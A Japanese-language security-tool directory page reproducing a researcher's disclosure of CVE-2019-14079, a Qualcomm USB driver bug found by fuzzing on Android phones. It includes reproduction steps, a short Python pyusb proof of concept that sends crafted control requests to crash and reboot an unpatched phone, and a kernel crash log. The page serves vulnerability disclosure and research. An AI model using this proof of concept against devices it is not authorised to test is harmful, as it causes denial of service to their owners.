Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2019-14079 — AndroidスマートフォンにおけるUSBデバイスのファジング | Kitploit
ツール/GitHubGitHub/parallelbeings/cve-2019-14079
Androidセキュリティ組み込みシステムセキュリティ脆弱性分析エクスプロイトファジングハードウェアセキュリティバイナリエクスプロイト
GitHubparallelbeings/cve-2019-14079

CVE-2019-14079

AndroidスマートフォンにおけるUSBデバイスのファジング

リポジトリを見る
3734年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

AndroidでのUSBデバイスファジング (CVE-2019-14079)

このブログ記事は、USBデバイスファジングを使用して私のAndroidデバイス(MI A2 - ストックAndroid搭載)で発見した単純なバグについてであり、Googleによって深刻度「高」と評価されました。このバグはQualcomm USBドライバに存在し、後に修正され、2020年3月のAndroidセキュリティ情報で開示されました。この脆弱性は、細工されたUSBリクエストをAndroidスマートフォンに送信すると、Androidカーネルがクラッシュし、スマートフォンが再起動するというものです。

このバグは、USBガジェット「core.c」で使用されている初期化されていない変数が原因でした。脆弱性の詳細については、以下のQualcommセキュリティ勧告およびAndroid 2020年3月セキュリティ情報を参照してください。

https://www.qualcomm.com/company/product-security/bulletins/march-2020-bulletin

技術概要

Androidスマートフォンはデバイスモードとホストモードの両方をサポートしており、デバイスモードではUSBケーブルを使用してPCに接続し、さまざまなUSB接続モード(充電のみ、MTPなど)で画像や音楽をスマートフォンからPCに共有できます。 ホストモードでは、OTGケーブルを使用してヘッドセットやフラッシュドライブを接続できます。この場合、デバイスがクライアントとして動作し、Androidスマートフォンがホストとして動作します。

この脆弱性は、bmRequestType、bRequest、wValue(bDescriptortype:DescriptorIndex)、wIndex、wLengthなどのUSB制御パラメータをランダム化し、Androidデバイスに送信することで発見されました。LinuxホストからAndroidへの一連の制御リクエスト(以下のスクリプトを参照)を送信することで、スマートフォン内のUSBデバイスドライバがそれを解析し、カーネルパニックを引き起こします。

以下のビデオでは、Andrey Konovalov氏によるOffensive-con 2019でのUSBの概要とファジング、およびUSBプロトコルの基礎(USB 101: An Introduction to Universal Serial Bus 2.0)について説明されていますので、ご確認ください。

https://www.youtube.com/watch?v=1MD5JV6LfxA

影響を受けるチップセット: APQ8009, APQ8053, MDM9607, MDM9640, MSM8909W, MSM8953, QCA6574AU, QCS605, SDA845, SDM429, SDM429W, SDM439, SDM450, SDM632, SDM670, SDM710, SDM845, SDX24, SM8150, SXR1130

Android 2020年3月パッチを適用していない場合の、この脆弱性の再現手順:

  • AndroidスマートフォンをLinux PC(Ubuntu)に接続します。
  • スマートフォンでUSBデバッグが有効になっていないことを確認します。
  • デバイスは通常の充電モードで接続されている必要があります。
  • Ubuntuホストでは、AndroidがUSBデバイスとして接続され、SDMxxx SN:xxxxxxとして認識されます。
  • dmesgログまたはlsusbを確認してデバイスを特定します。
  • lsusbを使用してデバイスに応じたVIDとPIDを確認し、以下のスクリプトで使用します。
  • Linux PCでpyusbがインストールされている状態で、以下のPythonスクリプトを実行します。 スマートフォンが再起動した場合、バグの悪用に成功しています。 再起動後、logcatまたはbugreportを使用してカーネルログに以下のメッセージが表示されているか確認できます。

POC

root@kitploit:~
#!/usr/bin/env python3
import usb.core

dev = usb.core.find(idVendor=0x2717, idProduct=0xff40) 

send = dev.ctrl_transfer(0x80,0,0x0000,0x00,0000) 
send = dev.ctrl_transfer(0x81,0,0x0000,0x00,0000) 
send = dev.ctrl_transfer(0x82,0,0x0000,0x00,0000) 
print("Received: " + str(send))

クラッシュログ

root@kitploit:~
[  314.639049] Kernel BUG at ffffff95d9f3ca20 [verbose debug info unavailable]
[  314.639054] Internal error: Oops - BUG: 96000044 [#1] PREEMPT SMP
[  314.639060] Modules linked in: wlan(O)
[  314.639074] CPU: 2 PID: 115 Comm: kworker/u17:1 Tainted: G           O    4.4.153-perf+ #1
[  314.639080] Hardware name: Qualcomm Technologies, Inc. SDM 660 PM660 + PM660L MTP (DT)
[  314.639100] Workqueue: dwc_wq dwc3_bh_work
[  314.639107] task: ffffffc1f7470e00 task.stack: ffffffc1f747c000
[  314.639114] PC is at dwc3_gadget_giveback+0x84/0x1ec
[  314.639121] LR is at dwc3_ep0_stall_and_restart+0x64/0x84
[  314.639126] pc : [<ffffff95d9f3ca20>] lr : [<ffffff95d9f41ae8>] pstate: 804001c5
[  314.639129] sp : ffffffc1f747fbd0
[  314.639133] x29: ffffffc1f747fbd0 x28: ffffffc174099020 
[  314.639141] x27: ffffff95db082010 x26: 000000000000c040 
[  314.639148] x25: ffffffc174099020 x24: ffffff95db806000 
[  314.639156] x23: 0000000000000000 x22: ffffffc1f613da00 
[  314.639164] x21: ffffffc174099020 x20: ffffffc1f613da00 
[  314.639172] x19: ffffffc174099070 x18: 0000000000000010 
[  314.639179] x17: 0000007b609c9578 x16: ffffff95da4be634 
[  314.639186] x15: aaaaaaaaaaaaaaab x14: 0fffffffffffffff 
[  314.639193] x13: 0000000000000008 x12: 0101010101010101 
[  314.639200] x11: 7f7f7f7f7f7f7fff x10: 3952455531fffffe 
[  314.639208] x9 : ffffffffffffffff x8 : 0000000000808000 
[  314.639215] x7 : 0080800000000000 x6 : ffffff95dbbf8852 
[  314.639222] x5 : 3a534656330100ff x4 : 0000000000000001 
[  314.639230] x3 : 000000000000000a x2 : 00000000ffffff98 
[  314.639237] x1 : dead000000000100 x0 : dead000000000200 

次のステップ

さらに、クラッシュログはクラッシュの原因を説明していません。そのため、新しいPixelでKASANをビルドに追加し、ファジング中にクラッシュのログを監視するなどの適切なインストルメンテーション手法を用いてデバイスファジングを改善する予定です。また、libusbでは大きな制御リクエストを発行できず、ほとんどの場合トリミングされてしまいます。そのため、ioctlを使用してUSBドライバに直接コマンドを発行する、Kate Temkin氏の例(fusee_gelee)を試す予定です。

タイムライン

  • 2019年8月にAndroid VRPに報告。
  • 2020年3月にQualcommが修正。

動機と謝辞

  • メンター(Durga Prasad Sahoo - https://github.com/break2make)
  • USBデバイスファジングに関するNCC Group
  • Nintendo Switchにおける素晴らしいUSBバグを発見した@ktemkin氏
ツールをダウンロード